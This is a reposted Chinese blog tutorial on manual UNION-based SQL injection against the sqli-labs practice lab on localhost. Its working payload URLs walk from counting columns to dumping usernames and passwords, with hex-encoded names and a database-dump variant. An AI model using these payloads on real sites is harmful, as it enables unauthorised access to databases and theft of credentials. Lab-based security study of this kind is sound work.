SQL注入之手工注入sqli-labs-master

来源:互联网 发布:php登录全代码 编辑:程序博客网 时间:2024/05/22 04:37


sql注入就是用户在交互的过程中,在Web页面中输入的指令内容可以在数据库中执行。这里我通过sqli-labs-master来演示下手工sql注入。

首先是搭建环境,我用的是WampServer,安装完成后,将sqli-labs-master解压到WampServer的www目录中,然后开启WampServer。

1.    判断数据库当前表有几列,为下一步构造union语句收集信息:

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4;%23      
%23是#号的url编码,在mysql中#号是注释符,注释掉后面的字符。order by用于确定表中有几列。

没有4列,试试3列:

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3;%23


看到当前表只有3列。

2.获取库名:
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.SCHEMATA;%23
(group_concat()函数将查询结果用逗号拼接,放的位置就是查询结果的位置。加and 1=2是为了让前面为假,这样unio以后的结果就为后面语句的结果。)


可以看到爆出的数据在第三列显示。

3.获取表名: 
 http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_Schema.tables where table_schema=database();%23 

database() 指定当前库名,如果不指定,当前库名需要十六进制转码。


Security的16进制转码为:0x7365637572697479。例如指定获取数据库Security的表:

http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select1,2,group_concat(table_name) from information_Schema.tables wheretable_schema=0x7365637572697479;%23

4.获取列名:
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273;%23(Users的16进制为0x7573657273,查询users表)

5.获取数据:
http://localhost/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,GROUP_CONCAT(username),GROUP_CONCAT(password) from users;%23Username 和 password为上一步爆取得列名。
脱库也可以用:union select 1,2,(select count(*) from sae_user_sqli4) %23







原创粉丝点击